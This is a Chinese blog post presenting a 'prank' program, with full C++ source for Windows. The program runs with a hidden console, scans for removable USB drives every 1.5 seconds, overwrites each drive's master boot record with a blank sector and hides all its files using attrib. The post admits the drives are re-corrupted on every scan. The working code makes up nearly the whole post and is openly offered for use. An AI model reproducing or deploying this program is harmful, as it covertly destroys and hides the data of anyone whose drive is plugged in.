VC 整人程序修改分区表_vc u盘分区-优快云博客

本文介绍了一个简单的C++程序，该程序能够定时检测并修改连接到计算机的所有可移动磁盘的主引导记录(MBR)，导致下次插入时无法读取分区。通过使用Windows API函数，该代码实现了对可移动磁盘的扫描与MBR的更改。

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整人代码，定时检测所有可移动磁盘，若有，修改MBR。下次插入时可使无法读取分区～解决方案是用DiskGenuis等软件恢复MBR。可以自定义时间段～别整太过……有一个缺点，就是U盘被改之后，下一次程序扫描时发现这个设备还会修改MBR.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>


unsigned int  g_TimeList[][2] = {1, 10000000};
unsigned char g_MBR[512];


int  IsOperateTime(void)
{
    SYSTEMTIME    SystemTime;
    unsigned int  i     = 0;
    unsigned int  count = sizeof(g_TimeList) / sizeof(unsigned int) / 2;
    unsigned int  TimeNow = 0;

    return 1;

    GetLocalTime(&SystemTime);
    TimeNow = SystemTime.wHour * 60 + SystemTime.wMinute;

    for (; i < count; i++)
    {
        if (TimeNow >= g_TimeList[i][0]
            && TimeNow <= g_TimeList[i][1])
        {
            return 1; // 当前时间在事件列表内
        }
    }

    return 0; 
}


int  ScanUSB(unsigned char  Volumes[], unsigned short  MaxVolumes)
{
    char  Volume = 'A';
    char  Buffer[200], *p = Buffer;
    unsigned int  Count = 0;

    GetLogicalDriveStrings(52, Buffer);
 
    while (*p != '\0')
    {
        if (GetDriveType(p) == DRIVE_REMOVABLE)
        {
            Volumes[Count++] = *p;
        }
        p += strlen(p) + 1;
    }

    return  Count;

}



int  AlterMbr(unsigned char  Volume)
{
    HANDLE  hVolume = INVALID_HANDLE_VALUE;
    char    VolumeName[10];
    unsigned long  ReadLen = 0; // 已写入大小
    BOOL           IsSuccess = FALSE;

    if (Volume != '\0')
    {
        sprintf_s(VolumeName, 10, "\\\\.\\%c:", Volume);
        hVolume = CreateFile(VolumeName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
            NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

        if (hVolume != INVALID_HANDLE_VALUE)
        {
            IsSuccess = WriteFile(hVolume, g_MBR, 512, &ReadLen, NULL);
            if (IsSuccess && ReadLen == 512)
            {
                return 0;
            }
        }
    }
    return 1;
}


void  HideAllFiles(unsigned char  Volume)
{
    char  Buf[50];

    if (Volume != '\0')
    {
        sprintf_s(Buf, 50, "attrib +s +h %c:\\*", Volume);
        system(Buf);
    }
}

int main()
{
    MSG  Msg;
    unsigned char  USBList[26];

    SetConsoleTitle("Cpp1 - test - 20140907");
    ShowWindow(FindWindow("ConsoleWindowClass", "Cpp1 - test - 20140907"), SW_HIDE);

    memset(&Msg, 0, sizeof(MSG));
    memset(g_MBR, 0, 512);

    g_MBR[510] = 0x55;
    g_MBR[511] = 0xAA;

    if (SetTimer(NULL, 0x01, 1500, NULL) == 0)
    {
        MessageBox(NULL, "定时器创建失败。", "错误", MB_OK);
        ExitProcess(1);
    }

    while (GetMessage(&Msg, NULL, 0, 0))
    {
        switch (Msg.message)
        {
        case WM_TIMER:
            {
                if (IsOperateTime() == 1)
                {
                    unsigned int  USBCount = 0;

                    memset(USBList, 0, 26);
                    if ((USBCount = ScanUSB(USBList, 26)) != 0)
                    {
                        for (unsigned int i = 0; i < USBCount; i++)
                        {
                            AlterMbr(USBList[i]);
                            HideAllFiles(USBList[i]);


                        }
                    }
                }
                break;
            }
        default:
            {
                break;
            }
        }
    }
    
    return 0;
}